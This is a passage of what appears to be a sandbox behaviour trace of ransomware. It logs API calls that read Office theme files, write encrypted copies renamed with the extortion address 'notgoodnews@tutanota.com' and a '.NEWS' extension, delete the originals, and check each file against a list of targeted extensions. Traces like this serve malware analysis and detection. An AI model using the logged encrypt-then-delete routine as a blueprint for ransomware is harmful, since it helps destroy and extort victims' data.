lstrlenW (lpString=".rar") returned 4 [0244.470] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.470] lstrlenW (lpString=".bz2") returned 4 [0244.470] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.470] lstrlenW (lpString=".7z") returned 3 [0244.470] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.470] lstrlenW (lpString=".dbf") returned 4 [0244.470] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.470] lstrlenW (lpString=".1cd") returned 4 [0244.471] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.471] lstrlenW (lpString=".jpg") returned 4 [0244.471] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.471] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0244.471] lstrlenW (lpString="Executive.eftx") returned 14 [0244.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0245.018] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=21156) returned 1 [0245.018] CloseHandle (hObject=0x304) returned 1 [0245.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0245.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0245.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0245.096] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.097] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0245.098] GetLastError () returned 0x0 [0245.098] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x52a4, lpOverlapped=0x0) returned 1 [0245.177] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0245.182] ReadFile (in: hFile=0x1cc, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0245.182] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0245.182] SetEndOfFile (hFile=0x1f0) returned 1 [0245.183] CloseHandle (hObject=0x1f0) returned 1 [0245.183] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.183] SetEndOfFile (hFile=0x1cc) returned 1 [0245.194] CloseHandle (hObject=0x1cc) returned 1 [0245.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0245.230] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0245.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.231] lstrlenW (lpString=".doc") returned 4 [0245.231] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.231] lstrlenW (lpString=".docx") returned 5 [0245.232] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.232] lstrlenW (lpString=".pdf") returned 4 [0245.232] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.232] lstrlenW (lpString=".xls") returned 4 [0245.232] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.232] lstrlenW (lpString=".xlsx") returned 5 [0245.232] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.232] lstrlenW (lpString=".ppt") returned 4 [0245.232] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.232] lstrlenW (lpString=".zip") returned 4 [0245.232] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.232] lstrlenW (lpString=".rar") returned 4 [0245.232] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.233] lstrlenW (lpString=".bz2") returned 4 [0245.233] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.233] lstrlenW (lpString=".7z") returned 3 [0245.233] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.233] lstrlenW (lpString=".dbf") returned 4 [0245.233] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.233] lstrlenW (lpString=".1cd") returned 4 [0245.233] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.233] lstrlenW (lpString=".jpg") returned 4 [0245.233] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.234] lstrlenW (lpString=".doc") returned 4 [0245.234] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0245.234] lstrlenW (lpString=".docx") returned 5 [0245.234] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0245.234] lstrlenW (lpString=".pdf") returned 4 [0245.234] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0245.234] lstrlenW (lpString=".xls") returned 4 [0245.234] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0245.234] lstrlenW (lpString=".xlsx") returned 5 [0245.234] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0245.235] lstrlenW (lpString=".ppt") returned 4 [0245.235] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0245.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.235] lstrlenW (lpString=".zip") returned 4 [0245.235] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0245.235] lstrlenW (lpString=".rar") returned 4 [0245.235] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0245.235] lstrlenW (lpString=".bz2") returned 4 [0245.235] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0245.235] lstrlenW (lpString=".7z") returned 3 [0245.235] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0245.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.236] lstrlenW (lpString=".dbf") returned 4 [0245.236] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0245.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.236] lstrlenW (lpString=".1cd") returned 4 [0245.236] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0245.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0245.236] lstrlenW (lpString=".jpg") returned 4 [0245.236] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0245.237] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0245.237] lstrlenW (lpString="Foundry.eftx") returned 12 [0245.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0245.432] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=18226) returned 1 [0245.432] CloseHandle (hObject=0x3d0) returned 1 [0245.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0245.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0246.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0246.982] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.982] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.449] GetLastError () returned 0x0 [0248.450] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x4732, lpOverlapped=0x0) returned 1 [0248.563] WriteFile (in: hFile=0x3c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x4740, lpOverlapped=0x0) returned 1 [0248.567] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.567] WriteFile (in: hFile=0x3c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.567] SetEndOfFile (hFile=0x3c0) returned 1 [0248.568] CloseHandle (hObject=0x3c0) returned 1 [0248.568] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.569] SetEndOfFile (hFile=0x388) returned 1 [0248.576] CloseHandle (hObject=0x388) returned 1 [0248.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1 [0248.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.578] lstrlenW (lpString=".doc") returned 4 [0248.578] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.578] lstrlenW (lpString=".docx") returned 5 [0248.578] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.578] lstrlenW (lpString=".pdf") returned 4 [0248.578] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.578] lstrlenW (lpString=".xls") returned 4 [0248.579] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.579] lstrlenW (lpString=".xlsx") returned 5 [0248.579] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.579] lstrlenW (lpString=".ppt") returned 4 [0248.579] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.579] lstrlenW (lpString=".zip") returned 4 [0248.579] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.579] lstrlenW (lpString=".rar") returned 4 [0248.580] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.580] lstrlenW (lpString=".bz2") returned 4 [0248.580] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.580] lstrlenW (lpString=".7z") returned 3 [0248.580] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.580] lstrlenW (lpString=".dbf") returned 4 [0248.580] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.580] lstrlenW (lpString=".1cd") returned 4 [0248.580] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.580] lstrlenW (lpString=".jpg") returned 4 [0248.580] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.581] lstrlenW (lpString=".doc") returned 4 [0248.581] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.581] lstrlenW (lpString=".docx") returned 5 [0248.581] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.581] lstrlenW (lpString=".pdf") returned 4 [0248.581] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.581] lstrlenW (lpString=".xls") returned 4 [0248.581] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.581] lstrlenW (lpString=".xlsx") returned 5 [0248.582] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.582] lstrlenW (lpString=".ppt") returned 4 [0248.582] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.582] lstrlenW (lpString=".zip") returned 4 [0248.582] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.582] lstrlenW (lpString=".rar") returned 4 [0248.582] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.582] lstrlenW (lpString=".bz2") returned 4 [0248.582] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.582] lstrlenW (lpString=".7z") returned 3 [0248.582] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.582] lstrlenW (lpString=".dbf") returned 4 [0248.583] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.583] lstrlenW (lpString=".1cd") returned 4 [0248.583] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0248.583] lstrlenW (lpString=".jpg") returned 4 [0248.583] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.584] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0248.584] lstrlenW (lpString="Newsprint.eftx") returned 14 [0248.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0248.854] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=582401) returned 1 [0248.854] CloseHandle (hObject=0x1f0) returned 1 [0248.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20 [0248.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0248.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0248.870] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.870] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0248.871] GetLastError () returned 0x0 [0248.871] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x8e301, lpOverlapped=0x0) returned 1 [0249.045] WriteFile (in: hFile=0x3c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x8e310, lpOverlapped=0x0) returned 1 [0252.206] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.207] WriteFile (in: hFile=0x3c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0252.207] SetEndOfFile (hFile=0x3c0) returned 1 [0252.208] CloseHandle (hObject=0x3c0) returned 1 [0252.208] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.209] SetEndOfFile (hFile=0x388) returned 1 [0252.734] CloseHandle (hObject=0x388) returned 1 [0252.735] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0252.845] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1 [0252.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.846] lstrlenW (lpString=".doc") returned 4 [0252.847] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.847] lstrlenW (lpString=".docx") returned 5 [0252.847] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.847] lstrlenW (lpString=".pdf") returned 4 [0252.847] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.847] lstrlenW (lpString=".xls") returned 4 [0252.847] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.847] lstrlenW (lpString=".xlsx") returned 5 [0252.847] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.847] lstrlenW (lpString=".ppt") returned 4 [0252.847] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.848] lstrlenW (lpString=".zip") returned 4 [0252.848] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.848] lstrlenW (lpString=".rar") returned 4 [0252.848] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.848] lstrlenW (lpString=".bz2") returned 4 [0252.848] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.848] lstrlenW (lpString=".7z") returned 3 [0252.848] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.848] lstrlenW (lpString=".dbf") returned 4 [0252.848] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.849] lstrlenW (lpString=".1cd") returned 4 [0252.849] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.849] lstrlenW (lpString=".jpg") returned 4 [0252.849] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.849] lstrlenW (lpString=".doc") returned 4 [0252.849] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.850] lstrlenW (lpString=".docx") returned 5 [0252.850] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.850] lstrlenW (lpString=".pdf") returned 4 [0252.850] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.850] lstrlenW (lpString=".xls") returned 4 [0252.850] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.850] lstrlenW (lpString=".xlsx") returned 5 [0252.850] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.850] lstrlenW (lpString=".ppt") returned 4 [0252.850] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.850] lstrlenW (lpString=".zip") returned 4 [0252.851] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.851] lstrlenW (lpString=".rar") returned 4 [0252.851] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.851] lstrlenW (lpString=".bz2") returned 4 [0252.851] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.851] lstrlenW (lpString=".7z") returned 3 [0252.851] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.851] lstrlenW (lpString=".dbf") returned 4 [0252.851] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81 [0252.852] lstrlenW (lpString=".1cd") returned 4 [0252.852] 